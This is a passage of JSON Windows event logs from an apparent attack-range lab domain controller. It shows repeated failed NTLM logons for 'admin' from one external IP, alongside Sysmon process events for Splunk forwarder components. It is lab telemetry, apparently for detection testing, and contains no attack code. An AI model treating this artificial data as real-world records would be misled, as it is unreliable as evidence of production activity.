","AuthenticationPackageName":"NTLM","WorkstationName":"-","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"-","IpAddress":"78.37.23.127","IpPort":"60042","EventReceivedTime":"2020-08-07 11:50:03","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:01","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9187343239835811840,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":7036,"SourceName":"Service Control Manager","ProviderGuid":"{555908D1-A6D7-4695-8E1E-26931D2012F4}","Version":0,"Task":0,"OpcodeValue":0,"RecordNumber":76809,"ProcessID":852,"ThreadID":936,"Channel":"System","Message":"The SplunkForwarder service entered the running state.","param1":"SplunkForwarder","param2":"running","EventReceivedTime":"2020-08-07 11:50:03","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:01","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9218868437227405312,"EventType":"AUDIT_FAILURE","SeverityValue":4,"Severity":"ERROR","EventID":4625,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12544,"OpcodeValue":0,"RecordNumber":221492,"ProcessID":860,"ThreadID":988,"Channel":"Security","Message":"An account failed to log on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\t-\r\n\tAccount Domain:\t\t-\r\n\tLogon ID:\t\t0x0\r\n\r\nLogon Type:\t\t\t3\r\n\r\nAccount For Which Logon Failed:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\tadmin\r\n\tAccount Domain:\t\t\r\n\r\nFailure Information:\r\n\tFailure Reason:\t\tUnknown user name or bad password.\r\n\tStatus:\t\t\t0xC000006D\r\n\tSub Status:\t\t0xC0000064\r\n\r\nProcess Information:\r\n\tCaller Process ID:\t0x0\r\n\tCaller Process Name:\t-\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\t-\r\n\tSource Network Address:\t78.37.23.127\r\n\tSource Port:\t\t60129\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tNtLmSsp \r\n\tAuthentication Package:\tNTLM\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon request fails. It is generated on the computer where access was attempted.\r\n\r\nThe Subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe Logon Type field indicates the kind of logon that was requested. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe Process Information fields indicate which account and process on the system requested the logon.\r\n\r\nThe Network Information fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-0-0","SubjectUserName":"-","SubjectDomainName":"-","SubjectLogonId":"0x0","TargetUserSid":"S-1-0-0","TargetUserName":"admin","Status":"0xc000006d","FailureReason":"%%2313","SubStatus":"0xc0000064","LogonType":"3","LogonProcessName":"NtLmSsp ","AuthenticationPackageName":"NTLM","WorkstationName":"-","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"-","IpAddress":"78.37.23.127","IpPort":"60129","EventReceivedTime":"2020-08-07 11:50:03","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:02","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9218868437227405312,"EventType":"AUDIT_FAILURE","SeverityValue":4,"Severity":"ERROR","EventID":4625,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12544,"OpcodeValue":0,"RecordNumber":221493,"ProcessID":860,"ThreadID":988,"Channel":"Security","Message":"An account failed to log on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\t-\r\n\tAccount Domain:\t\t-\r\n\tLogon ID:\t\t0x0\r\n\r\nLogon Type:\t\t\t3\r\n\r\nAccount For Which Logon Failed:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\tadmin\r\n\tAccount Domain:\t\t\r\n\r\nFailure Information:\r\n\tFailure Reason:\t\tUnknown user name or bad password.\r\n\tStatus:\t\t\t0xC000006D\r\n\tSub Status:\t\t0xC0000064\r\n\r\nProcess Information:\r\n\tCaller Process ID:\t0x0\r\n\tCaller Process Name:\t-\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\t-\r\n\tSource Network Address:\t78.37.23.127\r\n\tSource Port:\t\t60288\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tNtLmSsp \r\n\tAuthentication Package:\tNTLM\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon request fails. It is generated on the computer where access was attempted.\r\n\r\nThe Subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe Logon Type field indicates the kind of logon that was requested. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe Process Information fields indicate which account and process on the system requested the logon.\r\n\r\nThe Network Information fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-0-0","SubjectUserName":"-","SubjectDomainName":"-","SubjectLogonId":"0x0","TargetUserSid":"S-1-0-0","TargetUserName":"admin","Status":"0xc000006d","FailureReason":"%%2313","SubStatus":"0xc0000064","LogonType":"3","LogonProcessName":"NtLmSsp ","AuthenticationPackageName":"NTLM","WorkstationName":"-","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"-","IpAddress":"78.37.23.127","IpPort":"60288","EventReceivedTime":"2020-08-07 11:50:03","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:02","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9218868437227405312,"EventType":"AUDIT_FAILURE","SeverityValue":4,"Severity":"ERROR","EventID":4625,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12544,"OpcodeValue":0,"RecordNumber":221494,"ProcessID":860,"ThreadID":988,"Channel":"Security","Message":"An account failed to log on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\t-\r\n\tAccount Domain:\t\t-\r\n\tLogon ID:\t\t0x0\r\n\r\nLogon Type:\t\t\t3\r\n\r\nAccount For Which Logon Failed:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\tadmin\r\n\tAccount Domain:\t\t\r\n\r\nFailure Information:\r\n\tFailure Reason:\t\tUnknown user name or bad password.\r\n\tStatus:\t\t\t0xC000006D\r\n\tSub Status:\t\t0xC0000064\r\n\r\nProcess Information:\r\n\tCaller Process ID:\t0x0\r\n\tCaller Process Name:\t-\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\t-\r\n\tSource Network Address:\t78.37.23.127\r\n\tSource Port:\t\t60381\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tNtLmSsp \r\n\tAuthentication Package:\tNTLM\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon request fails. It is generated on the computer where access was attempted.\r\n\r\nThe Subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe Logon Type field indicates the kind of logon that was requested. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe Process Information fields indicate which account and process on the system requested the logon.\r\n\r\nThe Network Information fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-0-0","SubjectUserName":"-","SubjectDomainName":"-","SubjectLogonId":"0x0","TargetUserSid":"S-1-0-0","TargetUserName":"admin","Status":"0xc000006d","FailureReason":"%%2313","SubStatus":"0xc0000064","LogonType":"3","LogonProcessName":"NtLmSsp ","AuthenticationPackageName":"NTLM","WorkstationName":"-","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"-","IpAddress":"78.37.23.127","IpPort":"60381","EventReceivedTime":"2020-08-07 11:50:04","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:02","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":2120,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:02.740\r\nProcessGuid: {90617006-3FEA-5F2D-0000-001036660300}\r\nProcessId: 2292\r\nImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-wmi.exe\r\nFileVersion: 8.0.2\r\nDescription: Remote Performance monitor using WMI\r\nProduct: splunk Application\r\nCompany: Splunk Inc.\r\nOriginalFileName: splunk-wmi.exe\r\nCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-wmi.exe\"\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=5DA29397A44401083341D66B52CA8BC4,SHA256=F51A58BCBF3532B9EF1B6478839424C33EA0426BCD5C6B4B636AD25D5177379C,IMPHASH=FFEB0CD073A55A73D08AC443E4942F81\r\nParentProcessGuid: {90617006-3FE4-5F2D-0000-0010FE150200}\r\nParentProcessId: 2820\r\nParentImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nParentCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:50:02.740","ProcessGuid":"{90617006-3FEA-5F2D-0000-001036660300}","Image":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-wmi.exe","FileVersion":"8.0.2","Description":"Remote Performance monitor using WMI","Product":"splunk Application","Company":"Splunk Inc.","OriginalFileName":"splunk-wmi.exe","CommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-wmi.exe\"","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=5DA29397A44401083341D66B52CA8BC4,SHA256=F51A58BCBF3532B9EF1B6478839424C33EA0426BCD5C6B4B636AD25D5177379C,IMPHASH=FFEB0CD073A55A73D08AC443E4942F81","ParentProcessGuid":"{90617006-3FE4-5F2D-0000-0010FE150200}","ParentProcessId":"2820","ParentImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","ParentCommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","EventReceivedTime":"2020-08-07 11:50:04","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:02","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2121,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:02.906\r\nSourceProcessGUID: {90617006-3FE4-5F2D-0000-0010FE150200}\r\nSourceProcessId: 2820\r\nSourceThreadId: 4076\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nTargetProcessGUID: {90617006-3FEA-5F2D-0000-001036660300}\r\nTargetProcessId: 2292\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-wmi.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17cade|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18641d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17ef16|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c992c4|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18689b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+189d3c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c95f5f|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c99fad|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+184c5b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c7dd7e|C:\\Windows\\System32\\ucrtbase.dll+1fb80|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:02.906","SourceProcessGUID":"{90617006-3FE4-5F2D-0000-0010FE150200}","SourceProcessId":"2820","SourceThreadId":"4076","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","TargetProcessGUID":"{90617006-3FEA-5F2D-0000-001036660300}","TargetProcessId":"2292","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-wmi.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17cade|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18641d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17ef16|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c992c4|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18689b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+189d3c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c95f5f|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c99fad|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+184c5b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c7dd7e|C:\\Windows\\System32\\ucrtbase.dll+1fb80|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:04","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:02","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2122,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:02.906\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:02.906","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:04","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:02","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2123,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:02.906\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:02.906","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:04","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:02","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2124,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:02.906\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:02.906","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:04","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:02","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2125,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:02.906\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: 